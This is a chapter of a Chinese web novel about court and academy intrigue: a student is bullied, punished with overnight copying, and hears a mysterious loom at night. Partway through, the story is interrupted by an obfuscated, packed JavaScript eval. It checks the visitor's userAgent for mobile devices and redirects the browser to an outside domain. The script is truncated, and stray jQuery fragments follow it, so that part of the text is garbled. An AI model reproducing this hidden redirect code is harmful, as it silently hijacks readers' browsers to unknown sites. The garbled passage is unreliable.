97. 哪宫娘娘

作品:《灵尸笺

    既然跟太子扯上了关系,又有陆逍在其中掺和,池楚浠不免想到一个人,景序昭。


    紫珞能在学宫受到优待怕是景序昭在其中插手,他人都已经不在长安了,手却还能伸到这宫中。


    见池楚浠似乎悟明白了什么,紫珞就直接点明了:“陆公子向来是为景县丞办事,想来咱们能一切顺利都是景县丞在暗中帮助,他可真是个好人。”


    紫珞一边说一边留意着池楚浠的神情,见她没什么变化就继续道:“这一点倒是比那个谢监丞强多了,娘子,您说是不是?”


    “谢监丞说要娶你,到如今也没个准信,一看就不是可靠之人,娘子要三思啊。”


    池楚浠放下吃剩的签子:“无需将他们二人放在一处比较。”


    他们不一样,区别很大。


    紫珞见池楚浠面色忽然凝重,便不再说了。


    学子们渐渐把崔云姝的事抛之脑后,这几日又开始热闹起来,只要出事的不是自己家,她们过阵子就忘了。


    池楚浠今日来得晚了些,沈夫人已经坐在堂上了,不过也不算很晚,她还没开始授课。


    池楚浠往自己的座位走去,有人伸出脚故意给她使绊子,想让她摔下去。


    池楚浠反应快,碰了她一下便立即稳住了身形,幸好没摔个狗吃屎,那也太丢人了。


    “你做什么?”池楚浠冷声道。


    伸腿的娘子叫曲意绵,她不好意思地笑笑:“抱歉,我方才只是腿坐麻了,活动活动,毕竟坐这儿候了许久,不像池娘子,连沈夫人的课也敢迟到。”


    池楚浠不知今日为何突然被针对,沉声道:“此时还不算迟到,况且从前每日我都是早早来的,只是今晨有事耽搁了些。”


    “曲娘子何须阴阳怪气。”


    曲意绵掩了掩嘴边的讥笑:“何故来迟?莫不是那司膳司又偷偷给你了什么好东西,躲在屋中吃了才出来,生怕被我们瞧见了要来抢。”


    “呵呵。”曲意绵语气嘲讽。


    周围响起几道笑声,她们都在笑曲意绵方才说的事。


    陈知凝道:“咱们先前还说她不带侍女来伺候,原来她在宫里比咱们的面子都大,即便没有侍女也不要紧,怕是宫正司和尚宫局那边都要上赶着送宫女太监来伺候。”


    曲意绵又道:“听说前几日给承庆殿做的菜你那里也有份,不知道的还以为你是哪宫里的娘娘,真是好气派啊。”


    周围又是一阵低笑。


    沈夫人沉声道:“够了,勿要喧哗。”


    “池娘子,回你的位置坐好。”


    池楚浠行了一礼:“是。”


    池楚浠静静地坐在座位上,总感觉背后有无数双眼睛在打量着她。


    这些人和自己一样后知后觉,如今才发现她备受优待,开始冷嘲热讽了。


    这堂课结束时,池楚浠想起身松松筋骨,身子一动才发现衣裙被牢牢粘在了凳子上。


    周围一阵低笑,大多数人都在等着看她的热闹。


    池楚浠恼怒,用力一扯,裙子撕破了。


    “哎呀!”曲意绵故作惊讶,“衣冠不整可是要被夫人惩罚的,你还不快回去换。”


    池楚浠朝她看去,顾不上跟她吵,她赶紧提着裙子回去换衣裳。


    她住的地方距离学堂较远,这一走定是赶不了下堂课了,没记错的话下堂课是白蓉绒来上。


    这些新奇的课堂制度都是白蓉绒制定的,也都得到了学宫的首肯,大家都很遵守规则。


    白蓉绒一进入课堂便一眼扫到了空缺的座位,她道:“池楚浠人呢?”


    曲意绵道:“她一早就迟到了,才上了一堂课又走了,怕是没将夫人您放在心上。”


    陈知凝附和道:“她一个中途走后门插进来的学子,自是有这个实力不把夫人们放在眼里的,毕竟她可是有滕王做保的人。”


    这几句话一出,不少人的酸劲儿就上来了,跟着附和了几句。


    谁不知道上女子学宫有多难,大多数人都是拼了全力进来的,突然看见一个后台实力如此强大的心里自然不快。


    今日既然有人要出头给她个教训,那跟风说几句又何妨。


    白蓉绒与池楚浠的关系特殊,她可时刻记着呢,于她而言,就是前任和现任,往往这两人是水火不相容的,她和池楚浠也不例外。


    从前她并未深刻了解过池楚浠,只知她颇有头脑,尤其在验尸一事上很有心得,是个能力不错的法医,白蓉绒是这样想的。


    能在晟朝培养一个女法医也算是很有成就感了,只是可惜,池楚浠偏偏是池主簿的女儿,自己不能信任她。


    想着,白蓉绒竟叹了口气,可惜了,不能为她所用。


    “待她回来后叫她去找孟司言领罚。”


    曲意绵乐得合不拢嘴,计谋得逞,既离间了池楚浠与白蓉绒,还让池楚浠受罚,真是个一石二鸟的好计策。


    总算是为自己出了一口恶气,凭什么她的侍女去领个蜡烛都要被打回来,而池楚浠却能吃上淑妃的美食佳肴。


    着实令人心里不平。


    池楚浠被孟司言罚了抄书,抄的工程量浩大,池楚浠看着眼前堆成一摞的书籍,这怕是要抄一整夜了。


    紫珞看着心疼:“我帮您抄几篇吧。”


    “不可。”池楚浠摇摇头,“字迹不同,万一被孟司言看出来,到时罚得更厉害。”


    “我自己可以抄,不就是一个晚上嘛,我不睡第二日也能好好上课。”


    紫珞又心疼又着急:“我去点醒神香。”


    醒神香点好,紫珞已经在盘算着明日去找陆逍解决这件事了,不能继续让自家娘子受欺负。


    池楚浠一点也没察觉出她是景家的人,这样也好,明里暗里她还能帮景序昭说不少好话,也不枉他多年前一番筹谋。


    一切都是为了护着池娘子,紫珞是最看得明白的。


    夜里,烛火一直亮着。


    紫珞熬不住,已经趴着睡着了。


    池楚浠抄得手酸,偶尔揉揉手腕,偶尔又站起来走走。


    夜已深,外边安静得出奇,池楚浠从未在宫里经历过这样的深夜。


    总觉得和白日里的繁华喧嚣比起来,这样的静谧有些诡异,仿佛周围都不是一个真实的世界。


    她还在奋笔疾书,忽然,窗外传来幽幽的机杼声。


    池楚浠愣了一下,握笔的手都僵了一瞬。


    这机杼声……好诡异。


    谁会在半夜织布?


    她从未听说附近有织绣房。


    池楚浠仔细听了片刻,那声音停了,这声音突然冒出来又很快消失了。


    池楚浠以为是自己抄书抄魔怔了,出现了幻听,她使劲掐了自己一下,发现自己很清醒,连打瞌睡的迹象都没有。


    那方才听到的就是真的了。


    哪里来的机杼声?


    后半夜这声音没有再响起,池楚浠便专心抄书了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466162|184457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天亮时,紫珞习惯性地醒了,她发现自己身上披了件衣裳,定是昨夜池楚浠怕她着凉给她披上的。


    正要去司膳司,还没出门就见着池楚浠端着早饭回来了。


    “吃饭吧。”


    “怎么劳烦娘子去,您是当真一夜没睡?抄完了吗?”紫珞赶紧接过呈盘。


    池楚浠道:“正好天亮时抄完,腿坐麻了就顺便出去走动走动。”


    “紫珞,往常你可有夜里醒来的时候?”


    紫珞对这个问题表示疑惑:“怎么问这个?偶尔会醒一次,不过很快又睡了,娘子你没有半夜起来的习惯,我自然就不用起来伺候。”


    池楚浠道:“那你可有在夜里听见什么声响,像那种机杼声。”


    “机杼声?”紫珞想了想,摇头,“没留意,怎么会有机杼声呢,咱们青萝居附近没有织绣房啊。”


    池楚浠道:“我知道没有织绣房,可昨夜我听见了机杼声,像是有些老旧了。”


    紫珞听着,浑身起了一层鸡皮疙瘩:“娘子您别吓我,是不是您太劳累幻听了,我今日去找太医开几服凝神静气的药给您煎来喝。”


    池楚浠道:“罢了,我们是什么身份,哪能劳动太医,想是我听错了也有可能。”


    紫珞赶紧伺候着她吃饭:“您定是太累了,今夜千万要好好休息。”


    池楚浠今日早早到了学堂,这会儿曲意绵她们几个还没来,没人在她的座位上捣鬼。


    由于来得早,池楚浠听见了几个人在窃窃私语。


    说话的几人她都不怎么熟悉,都是平日里为人低调的那几个。


    沈寒烟道:“昨夜我又听见那个声音,你们当真没听见么?”


    顾相宜摇摇头,打了个哈欠道:“睡沉了,听不见。”


    沈寒烟眉毛都拧成一条线了。“我今晨找人打听过,说这附近有一个废弃的织绣房,归属于掖庭宫那边的。”


    莫惊春年纪最小,她托着腮看着沈寒烟道:“都废弃了,又怎会有人在夜里使用,被发现会受罚的,谁这么大胆子。”


    顾相宜笑道:“我们都没听见,就寒烟听见了,莫不是烟儿梦里睡糊涂了,做梦罢了,无需当真。”


    几人笑笑也就把此事揭了过去。


    池楚浠回头看向沈寒烟,只见她一脸凝重,明显不认为是自己在做梦。


    池楚浠可以断定,既然沈寒烟也听见了,那就说明昨夜的确有这个声音。


    不是她听错了,更不是做梦。


    只是这废弃的织绣房谁会去使用,尤其是在夜里。


    上了一堂课后,曲意绵便笑着打趣池楚浠:“熬夜抄了书今日还能这么精神,看来孟司言的惩罚还是太轻了,怕是以后还敢再犯。”


    她一手扯起池楚浠的裙摆,发现这是一条新的,不是昨日扯坏的那条。


    “那套穿不了了,快叫你家侍女去尚服局领套新的,两套才够换洗呢。”


    曲意绵噗呲一笑:“看你那么有本事,今日去要恐怕过不了三五日就能给你赶出来一套新的,比给娘娘们送衣裳还积极。”


    池楚浠一把将衣服从她手下扯开,冷声道:“曲意绵,莫要三番两次挑衅,我并没有做出有违规制的事,即便是你告上去也奈何不了我。”


    曲意绵嘲讽地笑了一声:“我当然知道奈何不了你,就喜欢恶心你,怎么,你不服气?”


    池楚浠还是头一次遇到这样的人,一时竟不知该拿她怎么办。